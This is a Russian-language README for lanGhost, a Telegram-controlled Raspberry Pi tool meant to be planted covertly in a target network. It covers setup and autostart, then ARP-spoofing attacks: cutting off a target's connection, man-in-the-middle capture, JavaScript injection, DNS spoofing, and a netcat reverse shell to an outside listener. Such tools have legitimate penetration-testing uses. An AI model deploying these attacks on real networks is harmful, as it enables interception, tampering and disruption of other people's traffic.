
👻 Локальный чат-бот для Dropbox, управляемый через Telegram
lanGhost предназначен для Raspberry Pi (Raspbian/Kali для RPi). Запуск на других/настольных дистрибутивах может вызвать проблемы и работать не так, как ожидается.
Вам понадобится Raspberry Pi с чистой Raspbian/Kali на SD-карте, потому что на фоне не должно быть ничего лишнего.
Загрузите Pi, получите SSH-доступ или подключите монитор и клавиатуру и введите следующие команды:
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
Пожалуйста, внимательно читайте вопросы/сообщения во время выполнения скрипта установки!
[+] Введите имя сетевого интерфейса, подключённого (или будет подключён) к целевой LAN. По умолчанию проводной интерфейс — 'eth0', а беспроводной — 'wlan0' в большинстве систем, но вы можете проверить это в другом терминале с помощью команды 'ifconfig'.
[+] Пожалуйста, создайте API-ключ Telegram, отправив сообщение @BotFather в Telegram с командой '/newbot'.
После этого @BotFather попросит вас выбрать имя для вашего бота. Это может быть что угодно.
Наконец, @BotFather попросит вас указать имя пользователя для бота. Вы должны выбрать уникальное имя пользователя, которое заканчивается на 'bot'. Например: xdavidbot. Запомните это имя пользователя, так как позже вам нужно будет искать его, чтобы найти своего бота, на котором будет работать lanGhost.
После того как вы отправите выбранное имя пользователя @BotFather, вы получите свой API-ключ.
[+] Теперь, чтобы lanGhost предоставлял доступ только вам, необходимо подтвердить свою личность.
Отправьте код подтверждения ниже БОТУ, которого вы только что создали. Просто найдите @username вашего бота (то, что вы отправили @BotFather), чтобы найти его.
[+] Код подтверждения для отправки: ******
[+] Хотите, чтобы lanGhost запускался при загрузке? Этот параметр необходим, если вы используете это устройство как дропбокс, потому что, когда вы будете подбрасывать устройство в сеть, у вас не будет возможности запустить lanGhost удалённо! (автозапуск работает путём добавления новой записи cron '@reboot')
Использование lanGhost в сетях размером больше /24 не рекомендуется, так как сканирование будет слишком долгим.
lanGhost не является тихим. Любой, кто мониторит трафик, увидит ARP-пакеты!
Если вы выбрали да на шаге 4/4 (автозапуск), Pi полностью готов к подбрасыванию. lanGhost должен запуститься при загрузке и отправить вам сообщение в Telegram с текстом: lanGhost started! 👻.
Убедитесь, что сначала опробовали его в своей лаборатории и проверили, отвечает ли lanGhost на ваши сообщения!
Если всё готово, просто подключите его к целевой сети, вставив Ethernet-кабель в Pi и подключив питание через micro USB — и вы готовы!
(lanGhost также может работать через WiFi, но сначала нужно настроить wpa_supplicant для автоматического подключения к сети)
/scan — сканирование LAN-сети
/scanip [TARGET-IP] — сканирование определённого IP-адреса
/kill [TARGET-IP] — остановка сетевого подключения цели
/mitm [TARGET-IP] — захват HTTP/DNS-трафика цели
/replaceimg [TARGET-IP] — замена HTTP-изображений, запрашиваемых целью
/injectjs [TARGET-IP] [JS-FILE-URL] — внедрение JavaScript в HTTP-страницы, запрашиваемые целью
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] — подмена DNS-записей для цели
/attacks — просмотр текущих атак
/stop [ATTACK-ID] — остановка текущей атаки
/restart — перезапуск lanGhost
/reversesh [TARGET-IP] [PORT] — создание обратной netcat-оболочки на цель
/help — отображение справки
/ping — понг
Вы можете запустить атаку с помощью одной из этих команд: /kill, /mitm, /replaceimg, /injectjs, /spoofdns.
После запуска одной или нескольких атак вы можете использовать команду /attack, чтобы получить их список с ATTACK-ID.
Чтобы остановить атаку, выполните /stop [ATTACK-ID].
/reversesh просто устанавливает TCP-соединение через netcat, которое не шифруется, и весь трафик может быть отслежен! Используйте только для экстренных исправлений или для настройки зашифрованного обратного соединения при необходимости.
Команда /reversesh предназначена для получения обратной оболочки на Pi, когда он недоступен извне.
Для использования команды /reversesh вам понадобится сервер, прослушивающий оболочку.
Команда netcat для запуска слушателя на вашем сервере:
$ nc -l 0.0.0.0 [PORT]
Команда в Telegram:
/reversesh [IP-of-your-listening-server] [PORT]
/kill — останавливает интернет-соединение цели./mitm — захватывает HTTP- и DNS-трафик цели и отправляет его в виде текстовых сообщений./replaceimg — заменяет HTTP-изображения для цели на ту картинку, которую вы отправите боту./injectjs — внедряет JavaScript в каждый HTTP-ответ с HTML для цели. Вам нужно разместить JS-файл на своём сервере и указать URL в качестве параметра./spoofdns — подделывает DNS-ответы для цели.Все атаки используют ARP-спуфинг!
/scan — сканирует локальную сеть и возвращает активные хосты. Использует сканирование nmap -sn./scanip — сканирует IP-адрес на открытые порты и другую информацию. Использует сканирование nmap -sS.Вы будете получать сообщение каждый раз, когда новое устройство подключается или покидает сеть.
Copyright (c) 2018 by David Schütz. Некоторые права защищены.
lanGhost распространяется на условиях лицензии MIT, с учётом всех разъяснений, указанных в файле лицензии. Вы также можете написать мне на электронную почту: xdavid{at}protonmail{dot}com.